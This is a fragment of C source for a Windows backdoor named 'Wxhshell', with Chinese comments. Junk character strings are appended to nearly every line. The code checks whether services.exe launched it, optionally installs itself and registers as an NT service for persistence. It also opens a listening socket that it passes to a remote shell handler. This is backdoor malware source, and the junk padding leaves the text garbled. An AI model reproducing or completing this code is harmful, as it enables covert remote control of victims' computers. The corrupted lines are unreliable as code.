ULONG InheritedFromUniqueProcessId; }{mG/(LX8
} PROCESS_BASIC_INFORMATION; n^Vxi;F
ymkR!
PROCNTQSIP NtQueryInformationProcess; x~Agm_Tu+'
6RP+4c
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n1?}Xq|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }P.K2ku
ph#efY`a:
HANDLE hProcess; O#G|
~'.,
PROCESS_BASIC_INFORMATION pbi; lR}%)3_k
h?A'H RyL~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T3rn+BxF 7
if(NULL == hInst ) return 0; gQR1$n0
9FNwpL'C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @>:i-5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); df
?eL2v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X'@f"= v9k
hHEPNR[.
if (!NtQueryInformationProcess) return 0; $+TYvA'N
?`aTu:1#Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u}m.}Mws
if(!hProcess) return 0; :MBS>owR
>b43%^yii
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P}l#VJWp
_uJVuCc
CloseHandle(hProcess); "uhV|Lk*7
phS>T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BkV(81"C
if(hProcess==NULL) return 0; jN {Zw*
0d`5Gy_ D%
HMODULE hMod; M8zE3;5
char procName[255]; gD1+]am
unsigned long cbNeeded; cUs L6y
K%PxA#P}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jE*Ff&]%m
] 9@X?q
CloseHandle(hProcess); EZ{/]gCK
Z8fJ{uOIL
if(strstr(procName,"services")) return 1; // 以服务启动 OM{Dq|
0T0/fg(o
return 0; // 注册表启动 _25d%Ne0
} pI5_Hg
hb<k]-'!
// 主模块 Pxk0(oBX
int StartWxhshell(LPSTR lpCmdLine) JaFUcpZk$
{ %wtXo BJ
SOCKET wsl; zHqhl}
BOOL val=TRUE; rg*^w!
int port=0; m r2S!
struct sockaddr_in door; /W0E(8:C)
hv{87`L'K(
if(wscfg.ws_autoins) Install(); pX^=be_
f)U6p
port=atoi(lpCmdLine); 5}7ISNP;f
p;e$kg1
if(port<=0) port=wscfg.ws_port; Ph
Ttx(!
6J"(xT
WSADATA data; qPUA!-'
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AI~9m-,mE
jiq2 x\\!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7$#rNYa,z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ke^d8Z.
door.sin_family = AF_INET; (FG^UA#'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Dj#VN
door.sin_port = htons(port); ;le0QA
Pf
c(E,&{+E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wsI5F&R,
closesocket(wsl); 1I
b_Kmb-
return 1; B#:E?a;{
} L&'l3|
E#aZvE
if(listen(wsl,2) == INVALID_SOCKET) { =R2l3-HA=
closesocket(wsl); DU`v J2
return 1; k{1b20
} EP(Eq
Wxhshell(wsl); CdNih8uG
WSACleanup(); ^6#-yDZC@
. wmkj
return 0; S
QSA%B$<
]Ly8s#<g]N
} D Kq-C%
? osfL
// 以NT服务方式启动 %b9fW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =oPng=:
{ q#|r
DWORD status = 0; +NT:<(;|i5
DWORD specificError = 0xfffffff; fQ1 0O(`g,
E^82==R
serviceStatus.dwServiceType = SERVICE_WIN32; "\<P$&`HA
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 58PKx5`D
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I^@.Awt
serviceStatus.dwWin32ExitCode = 0; mQL8QW[c
serviceStatus.dwServiceSpecificExitCode = 0; s6IP;}
serviceStatus.dwCheckPoint = 0; -aT=f9u
serviceStatus.dwWaitHint = 0; 3r`<(%\
{>A
8g({i
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k5C>_(
A
if (hServiceStatusHandle==0) return; jQkUNPHu
}I)z7l.
status = GetLastError(); pKnIQa[c
if (status!=NO_ERROR) l:x_j\
{ VT
Vm7l
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9GaL0OWo
serviceStatus.dwCheckPoint = 0; {n6\g]p3
serviceStatus.dwWaitHint = 0; m3B\)2B
serviceStatus.dwWin32ExitCode = status; h)P]gT0f/
serviceStatus.dwServiceSpecificExitCode = specificError; v/x*]c!"`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zaBG=
return; u,\xok"
} (c<